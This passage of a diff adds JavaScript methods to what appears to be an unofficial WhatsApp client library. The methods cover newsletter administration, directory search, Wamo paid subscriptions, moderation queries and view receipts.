+ /**
529
+ * Unpin a newsletter message
530
+ */
531
+ newsletterUnpinMessage: async (jid, serverId) => {
532
+ await query({
533
+ tag: 'iq',
534
+ attrs: {
535
+ id: generateMessageTag(),
536
+ type: 'set',
537
+ xmlns: 'newsletter',
538
+ to: jid
539
+ },
540
+ content: [
541
+ {
542
+ tag: 'unpin',
543
+ attrs: { server_id: String(serverId) }
544
+ }
545
+ ]
546
+ })
547
+ },
548
+ /**
549
+ * Invite a user to become an admin of a newsletter.
550
+ *
551
+ * @param {string} jid - Newsletter JID
552
+ * @param {string} userJid - JID of the user to invite
553
+ */
554
+ newsletterInviteAdmin: async (jid, userJid) => {
555
+ return executeWMexQuery(
556
+ { newsletter_id: jid, user_id: userJid },
557
+ Types_1.QueryIds.ADMIN_INVITE,
558
+ Types_1.XWAPaths.xwa2_newsletter_admin_invite_create
559
+ )
560
+ },
561
+ /**
562
+ * Revoke a pending admin invite for a newsletter.
563
+ *
564
+ * @param {string} jid - Newsletter JID
565
+ * @param {string} userJid - JID of the invited user to revoke
566
+ */
567
+ newsletterRevokeAdminInvite: async (jid, userJid) => {
568
+ return executeWMexQuery(
569
+ { newsletter_id: jid, user_id: userJid },
570
+ Types_1.QueryIds.ADMIN_INVITE_REVOKE,
571
+ Types_1.XWAPaths.xwa2_newsletter_admin_invite_revoke
572
+ )
573
+ },
574
+ /**
575
+ * Accept an admin invite to a newsletter (called by the invitee).
576
+ *
577
+ * @param {string} jid - Newsletter JID
578
+ */
579
+ newsletterAcceptAdminInvite: async jid => {
580
+ return executeWMexQuery(
581
+ { newsletter_id: jid },
582
+ Types_1.QueryIds.ADMIN_INVITE_ACCEPT,
583
+ Types_1.XWAPaths.xwa2_newsletter_admin_invite_accept
584
+ )
585
+ },
586
+ /**
587
+ * Fetch admin-side metadata for a newsletter.
588
+ *
589
+ * @param {string} jid - Newsletter JID
590
+ * @param {object} options
591
+ * @param {boolean} [options.fetchPendingAdmins=true]
592
+ * @param {boolean} [options.fetchAdminCount=true]
593
+ * @param {boolean} [options.fetchCapabilities=false]
594
+ * @param {boolean} [options.fetchAdminProfile=false]
595
+ * @param {boolean} [options.includeAdminSettings=false]
596
+ * @param {boolean} [options.includeJarvisConfig=false]
597
+ */
598
+ newsletterAdminMetadata: async (jid, options = {}) => {
599
+ const {
600
+ fetchPendingAdmins = true,
601
+ fetchAdminCount = true,
602
+ fetchCapabilities = false,
603
+ fetchAdminProfile = false,
604
+ includeAdminSettings = false,
605
+ includeJarvisConfig = false
606
+ } = options
607
+ return executeWMexQuery(
608
+ {
609
+ jid,
610
+ include_thread_metadata: false,
611
+ include_messages: false,
612
+ fetch_pending_admin_invites: fetchPendingAdmins,
613
+ fetch_admin_count: fetchAdminCount,
614
+ fetch_capabilities: fetchCapabilities,
615
+ fetch_admin_profile: fetchAdminProfile,
616
+ include_admin_settings: includeAdminSettings,
617
+ include_jarvis_config: includeJarvisConfig
618
+ },
619
+ Types_1.QueryIds.ADMIN_METADATA,
620
+ Types_1.XWAPaths.xwa2_newsletter_admin
621
+ )
622
+ },
623
+ /**
624
+ * Update admin profile fields for a newsletter (e.g. contact info, links).
625
+ *
626
+ * @param {string} jid - Newsletter JID
627
+ * @param {object} updates - Admin profile fields to update
628
+ */
629
+ newsletterAdminProfileUpdate: async (jid, updates) => {
630
+ return executeWMexQuery(
631
+ { newsletter_id: jid, updates },
632
+ Types_1.QueryIds.ADMIN_PROFILE_UPDATE,
633
+ Types_1.XWAPaths.xwa2_newsletter_admin_profile_update
634
+ )
635
+ },
636
+ /**
637
+ * Browse the newsletter directory by category.
638
+ *
639
+ * @param {object} options
640
+ * @param {number} [options.limit=20]
641
+ * @param {string[]} [options.interests] - Category filters
642
+ * @param {string} [options.sortField='SUBSCRIBER_COUNT']
643
+ * @param {string} [options.sortOrder='DESC']
644
+ */
645
+ newsletterDirectoryList: async (options = {}) => {
646
+ const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
647
+ const variables = { limit, sort_field: sortField, sort_order: sortOrder }
648
+ if (interests?.length) variables.interests = interests
649
+ return executeWMexQuery(
650
+ variables,
651
+ Types_1.QueryIds.DIRECTORY_LIST,
652
+ Types_1.XWAPaths.xwa2_newsletters_directory_list
653
+ )
654
+ },
655
+ /**
656
+ * Search the newsletter directory.
657
+ *
658
+ * @param {string} searchText - Search query string
659
+ * @param {object} options
660
+ * @param {number} [options.limit=20]
661
+ * @param {string} [options.startCursor] - Pagination cursor
662
+ * @param {string[]} [options.categories] - Category filters
663
+ */
664
+ newsletterDirectorySearch: async (searchText, options = {}) => {
665
+ const { limit = 20, startCursor = null, categories = null } = options
666
+ const variables = { search_text: searchText, limit }
667
+ if (startCursor) variables.start_cursor = startCursor
668
+ if (categories?.length) variables.categories = categories
669
+ return executeWMexQuery(
670
+ variables,
671
+ Types_1.QueryIds.DIRECTORY_SEARCH,
672
+ Types_1.XWAPaths.xwa2_newsletters_directory_search
673
+ )
674
+ },
675
+ /**
676
+ * Fetch a preview of newsletters grouped by directory category.
677
+ *
678
+ * @param {number} [limit=5] - Newsletters per category
679
+ */
680
+ newsletterDirectoryCategoryPreview: async (limit = 5) => {
681
+ return executeWMexQuery(
682
+ { limit },
683
+ Types_1.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
684
+ Types_1.XWAPaths.xwa2_newsletters_directory_category_preview
685
+ )
686
+ },
687
+ /**
688
+ * Search for newsletters by text query.
689
+ *
690
+ * @param {string} query - Search string
691
+ * @param {number} [limit=20]
692
+ * @param {string} [startCursor] - Pagination cursor
693
+ */
694
+ newsletterSearch: async (query, limit = 20, startCursor = null) => {
695
+ const variables = { query, limit }
696
+ if (startCursor) variables.start_cursor = startCursor
697
+ return executeWMexQuery(variables, Types_1.QueryIds.SEARCH, Types_1.XWAPaths.xwa2_newsletters_search)
698
+ },
699
+ /**
700
+ * Fetch recommended newsletters.
701
+ *
702
+ * @param {number} [limit=10]
703
+ * @param {number} [numFollowed] - Number of newsletters the user already follows (used for ranking)
704
+ */
705
+ newsletterRecommended: async (limit = 10, numFollowed = null) => {
706
+ const variables = { limit }
707
+ if (numFollowed != null) variables.num_newsletters_followed = numFollowed
708
+ return executeWMexQuery(variables, Types_1.QueryIds.RECOMMENDED, Types_1.XWAPaths.xwa2_newsletters_recommended)
709
+ },
710
+ /**
711
+ * Fetch newsletters similar to a given newsletter.
712
+ *
713
+ * @param {string} jid - Newsletter JID to find similar newsletters for
714
+ * @param {number} [limit=10]
715
+ */
716
+ newsletterSimilar: async (jid, limit = 10) => {
717
+ return executeWMexQuery(
718
+ { newsletter_id: jid, limit },
719
+ Types_1.QueryIds.SIMILAR,
720
+ Types_1.XWAPaths.xwa2_newsletters_similar
721
+ )
722
+ },
723
+ /**
724
+ * Fetch the list of newsletters the current user is following.
725
+ *
726
+ * @param {string} [startCursor] - Pagination cursor
727
+ * @param {number} [limit=20]
728
+ */
729
+ newsletterFollowingList: async (startCursor = null, limit = 20) => {
730
+ const variables = { limit }
731
+ if (startCursor) variables.start_cursor = startCursor
732
+ return executeWMexQuery(variables, Types_1.QueryIds.FOLLOWING_LIST, Types_1.XWAPaths.xwa2_newsletter_following)
733
+ },
734
+ /**
735
+ * Fetch admin insights/analytics for a newsletter.
736
+ *
737
+ * @param {string} jid - Newsletter JID
738
+ * @param {string} [period] - Time period e.g. 'LAST_7_DAYS', 'LAST_30_DAYS'
739
+ */
740
+ newsletterInsights: async (jid, period = null) => {
741
+ const variables = { newsletter_id: jid }
742
+ if (period) variables.period = period
743
+ return executeWMexQuery(variables, Types_1.QueryIds.INSIGHTS, Types_1.XWAPaths.xwa2_newsletter_admin_insights)
744
+ },
745
+ /**
746
+ * Fetch the list of users who voted in a newsletter poll.
747
+ *
748
+ * @param {string} jid - Newsletter JID
749
+ * @param {string} serverId - Server-side message ID of the poll
750
+ * @param {string} [option] - Poll option to filter voters by
751
+ * @param {string} [startCursor] - Pagination cursor
752
+ */
753
+ newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
754
+ const variables = { id: jid, server_id: serverId }
755
+ if (option != null) variables.option = option
756
+ if (startCursor) variables.start_cursor = startCursor
757
+ return executeWMexQuery(
758
+ variables,
759
+ Types_1.QueryIds.POLL_VOTER_LIST,
760
+ Types_1.XWAPaths.xwa2_newsletters_poll_voter_list
761
+ )
762
+ },
763
+ /**
764
+ * Fetch the list of users who reacted to a newsletter message.
765
+ *
766
+ * @param {string} jid - Newsletter JID
767
+ * @param {string} serverId - Server-side message sort ID
768
+ * @param {string} [startCursor] - Pagination cursor
769
+ */
770
+ newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
771
+ const variables = { id: jid, server_id: serverId }
772
+ if (startCursor) variables.start_cursor = startCursor
773
+ return executeWMexQuery(
774
+ variables,
775
+ Types_1.QueryIds.REACTION_SENDERS_LIST,
776
+ Types_1.XWAPaths.xwa2_newsletters_reaction_sender_list
777
+ )
778
+ },
779
+ /**
780
+ * Block a user from a newsletter (admin action).
781
+ *
782
+ * @param {string} jid - Newsletter JID
783
+ * @param {string} userJid - JID of the user to block
784
+ */
785
+ newsletterBlockUser: async (jid, userJid) => {
786
+ return executeWMexQuery(
787
+ { newsletter_id: jid, user_id: userJid },
788
+ Types_1.QueryIds.BLOCK_USER,
789
+ 'xwa2_newsletter_block_user'
790
+ )
791
+ },
792
+ /**
793
+ * Enable Wamo (paid subscription) for a newsletter.
794
+ *
795
+ * @param {string} jid - Newsletter JID
796
+ */
797
+ newsletterEnableWamo: async jid => {
798
+ return executeWMexQuery(
799
+ { newsletter_id: jid },
800
+ Types_1.QueryIds.WAMO_ENABLE_SUB,
801
+ 'xwa2_newsletter_wamo_enable_sub'
802
+ )
803
+ },
804
+ /**
805
+ * Disable Wamo (paid subscription) for a newsletter.
806
+ *
807
+ * @param {string} jid - Newsletter JID
808
+ */
809
+ newsletterDisableWamo: async jid => {
810
+ return executeWMexQuery(
811
+ { newsletter_id: jid },
812
+ Types_1.QueryIds.WAMO_DISABLE_SUB,
813
+ 'xwa2_newsletter_wamo_disable_sub'
814
+ )
815
+ },
816
+ /**
817
+ * Change the Wamo subscription tier or settings for a newsletter.
818
+ *
819
+ * @param {string} jid - Newsletter JID
820
+ * @param {object} subConfig - Subscription configuration (tier, price, etc.)
821
+ */
822
+ newsletterChangeWamo: async (jid, subConfig) => {
823
+ return executeWMexQuery(
824
+ { newsletter_id: jid, ...subConfig },
825
+ Types_1.QueryIds.WAMO_CHANGE_SUB,
826
+ 'xwa2_newsletter_wamo_change_sub'
827
+ )
828
+ },
829
+ /**
830
+ * Fetch Wamo AFS age collection data.
831
+ * @param {string} jid - Newsletter JID
832
+ */
833
+ wamoAfsAgeCollection: async jid =>
834
+ executeWMexQuery(
835
+ { newsletter_id: jid },
836
+ Types_1.QueryIds.WAMO_AFS_AGE_COLLECTION,
837
+ Types_1.XWAPaths.xwa2_wamo_afs_age_collection
838
+ ),
839
+ /**
840
+ * Fetch Wamo asset collection (images/assets for Wamo UI).
841
+ * @param {string} jid - Newsletter JID
842
+ */
843
+ wamoAssetCollection: async jid =>
844
+ executeWMexQuery(
845
+ { newsletter_id: jid },
846
+ Types_1.QueryIds.WAMO_ASSET_COLLECTION,
847
+ Types_1.XWAPaths.xwa2_wamo_asset_collection
848
+ ),
849
+ /**
850
+ * Fetch a Wamo ad-hoc notice by ID.
851
+ * @param {string} noticeId - Notice ID to fetch
852
+ */
853
+ wamoFetchAdhocNotice: async noticeId =>
854
+ executeWMexQuery(
855
+ { notice_id: noticeId },
856
+ Types_1.QueryIds.WAMO_FETCH_ADHOC_NOTICE,
857
+ Types_1.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id
858
+ ),
859
+ /**
860
+ * Fetch the Wamo identity token for a newsletter.
861
+ * @param {string} jid - Newsletter JID
862
+ */
863
+ wamoFetchIdentityToken: async jid =>
864
+ executeWMexQuery(
865
+ { newsletter_id: jid },
866
+ Types_1.QueryIds.WAMO_FETCH_IDENTITY_TOKEN,
867
+ Types_1.XWAPaths.xwa2_wamo_fetch_identity_token
868
+ ),
869
+ /**
870
+ * Get Wamo subscription compliance info.
871
+ * @param {string} jid - Newsletter JID
872
+ */
873
+ wamoSubComplianceInfo: async jid =>
874
+ executeWMexQuery(
875
+ { newsletter_id: jid },
876
+ Types_1.QueryIds.WAMO_SUB_COMPLIANCE_INFO,
877
+ Types_1.XWAPaths.xwa2_wamo_sub_get_compliance_info
878
+ ),
879
+ /**
880
+ * Get the Wamo user ID version for a newsletter.
881
+ * @param {string} jid - Newsletter JID
882
+ */
883
+ wamoUserIdVersion: async jid =>
884
+ executeWMexQuery(
885
+ { newsletter_id: jid },
886
+ Types_1.QueryIds.WAMO_USER_ID_VERSION,
887
+ Types_1.XWAPaths.xwa2_wamo_user_id_version
888
+ ),
889
+ /**
890
+ * Set the Wamo user ID version for a newsletter.
891
+ * @param {string} jid - Newsletter JID
892
+ * @param {number} version - Version to set
893
+ */
894
+ wamoSetUserIdVersion: async (jid, version) =>
895
+ executeWMexQuery(
896
+ { newsletter_id: jid, version },
897
+ Types_1.QueryIds.WAMO_SET_USER_ID_VERSION,
898
+ Types_1.XWAPaths.xwa2_wamo_set_user_id_version
899
+ ),
900
+ /**
901
+ * Leave a newsletter (unsubscribe).
902
+ * @param {string} jid - Newsletter JID
903
+ */
904
+ newsletterLeave: async jid =>
905
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.LEAVE, Types_1.XWAPaths.xwa2_newsletter_leave_v2),
906
+ /**
907
+ * Create a verified newsletter.
908
+ * @param {string} name - Newsletter name
909
+ * @param {string} [description]
910
+ */
911
+ newsletterCreateVerified: async (name, description = null) =>
912
+ executeWMexQuery(
913
+ { input: { name, description } },
914
+ Types_1.QueryIds.CREATE_VERIFIED,
915
+ Types_1.XWAPaths.xwa2_newsletter_create_verified
916
+ ),
917
+ /**
918
+ * Fetch newsletter enforcements (ban/restriction info).
919
+ * @param {string} jid - Newsletter JID
920
+ */
921
+ newsletterEnforcements: async jid =>
922
+ executeWMexQuery(
923
+ { newsletter_id: jid },
924
+ Types_1.QueryIds.ENFORCEMENTS,
925
+ Types_1.XWAPaths.xwa2_newsletter_enforcements
926
+ ),
927
+ /**
928
+ * Fetch user reports for a newsletter (admin action).
929
+ * @param {string} jid - Newsletter JID
930
+ * @param {string} [cursor] - Pagination cursor
931
+ */
932
+ newsletterUserReports: async (jid, cursor = null) => {
933
+ const variables = { newsletter_id: jid }
934
+ if (cursor) variables.cursor = cursor
935
+ return executeWMexQuery(variables, Types_1.QueryIds.USER_REPORTS, Types_1.XWAPaths.xwa2_newsletter_user_reports)
936
+ },
937
+ /**
938
+ * Create a report appeal for a newsletter.
939
+ * @param {string} jid - Newsletter JID
940
+ * @param {string} reason - Appeal reason text
941
+ */
942
+ newsletterCreateReportAppeal: async (jid, reason) =>
943
+ executeWMexQuery(
944
+ { newsletter_id: jid, reason },
945
+ Types_1.QueryIds.CREATE_REPORT_APPEAL,
946
+ Types_1.XWAPaths.xwa2_newsletter_create_report_appeal
947
+ ),
948
+ /**
949
+ * Check a newsletter link preview.
950
+ * @param {string} url - URL to preview
951
+ */
952
+ newsletterLinkPreviewCheck: async url =>
953
+ executeWMexQuery(
954
+ { url },
955
+ Types_1.QueryIds.LINK_PREVIEW_CHECK,
956
+ Types_1.XWAPaths.xwa2_newsletter_link_preview_check
957
+ ),
958
+ /**
959
+ * Update newsletter verification status (admin/platform action).
960
+ * @param {string} jid - Newsletter JID
961
+ * @param {string} verification - Verification status
962
+ */
963
+ newsletterUpdateVerification: async (jid, verification) =>
964
+ executeWMexQuery(
965
+ { newsletter_id: jid, verification },
966
+ Types_1.QueryIds.UPDATE_VERIFICATION,
967
+ Types_1.XWAPaths.xwa2_newsletter_update_verification
968
+ ),
969
+ /**
970
+ * Label a newsletter post as paid partnership.
971
+ * @param {string} jid - Newsletter JID
972
+ * @param {string} serverId - Server message ID
973
+ * @param {boolean} isPaidPartnership
974
+ */
975
+ newsletterLabelPaidPartnership: async (jid, serverId, messageType = 'MESSAGE') =>
976
+ executeWMexQuery(
977
+ { newsletter_id: jid, server_id: String(serverId), message_type: messageType },
978
+ Types_1.QueryIds.LABEL_PAID_PARTNERSHIP,
979
+ Types_1.XWAPaths.xwa2_newsletter_label_paid_partnership
980
+ ),
981
+ /**
982
+ * Log newsletter exposure events (analytics).
983
+ * @param {{ newsletter_id: string, exposure_type: string }[]} events
984
+ */
985
+ newsletterLogExposures: async events =>
986
+ executeWMexQuery({ events }, Types_1.QueryIds.LOG_EXPOSURES, Types_1.XWAPaths.xwa2_newsletter_log_exposures),
987
+ /**
988
+ * Update user-specific newsletter setting (e.g. notification prefs).
989
+ * @param {string} jid - Newsletter JID
990
+ * @param {object} setting - Setting key/value
991
+ */
992
+ newsletterUpdateUserSetting: async (jid, setting) =>
993
+ executeWMexQuery(
994
+ { newsletter_id: jid, ...setting },
995
+ Types_1.QueryIds.UPDATE_USER_SETTING,
996
+ Types_1.XWAPaths.xwa2_newsletter_update_user_setting
997
+ ),
998
+ /**
999
+ * Fetch newsletter ranking features (ML signals).
1000
+ * @param {string} jid - Newsletter JID
1001
+ */
1002
+ newsletterRankingFeatures: async jid =>
1003
+ executeWMexQuery(
1004
+ { newsletter_id: jid },
1005
+ Types_1.QueryIds.RANKING_FEATURES,
1006
+ Types_1.XWAPaths.xwa2_newsletter_ranking_features
1007
+ ),
1008
+ /**
1009
+ * Fetch account reachout timelock (rate-limit state for outreach actions).
1010
+ */
1011
+ fetchReachoutTimelock: async () =>
1012
+ executeWMexQuery({}, Types_1.QueryIds.REACHOUT_TIMELOCK, Types_1.XWAPaths.xwa2_fetch_account_reachout_timelock),
1013
+ /**
1014
+ * Fetch message capping info (daily/weekly send limit status).
1015
+ */
1016
+ fetchMessageCappingInfo: async () =>
1017
+ executeWMexQuery({}, Types_1.QueryIds.MESSAGE_CAPPING_INFO, Types_1.XWAPaths.xwa2_message_capping_info),
1018
+ /**
1019
+ * Update the response state for a question in a newsletter message.
1020
+ * @param {string} jid - Newsletter JID
1021
+ * @param {string} serverId - Server message ID of the question
1022
+ * @param {string} state - New response state (e.g. 'OPEN', 'CLOSED')
1023
+ */
1024
+ newsletterQuestionResponseStateUpdate: async (jid, serverId, state) =>
1025
+ executeWMexQuery(
1026
+ { newsletter_id: jid, server_id: serverId, state },
1027
+ Types_1.QueryIds.QUESTION_RESPONSE_STATE_UPDATE,
1028
+ Types_1.XWAPaths.xwa2_newsletter_question_response_state_update
1029
+ ),
1030
+ /**
1031
+ * Send view receipts for newsletter messages (marks them as seen).
1032
+ * serverMessageIds: array of numeric server-side message IDs.
1033
+ * Mirrors SendViewReceiptJob in the APK — builds a receipt stanza
1034
+ * with type="view" and a <list> of <item server_id="..."/> children.
1035
+ */
1036
+ newsletterSendViewReceipt: async (jid, serverMessageIds) => {
1037
+ const ids = Array.isArray(serverMessageIds) ? serverMessageIds : [serverMessageIds]
1038
+ const receiptId = generateMessageTag()
1039
+ await query({
1040
+ tag: 'receipt',
1041
+ attrs: {
1042
+ to: jid,
1043
+ id: receiptId,
1044
+ type: 'view'
1045
+ },
1046
+ content: [
1047
+ {
1048
+ tag: 'list',
1049
+ attrs: {},
1050
+ content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
1051
+ }
1052
+ ]
1053
+ })
1054
+ }
1055
+ }
1056
+ }
1057
+ exports.makeNewsletterSocket = makeNewsletterSocket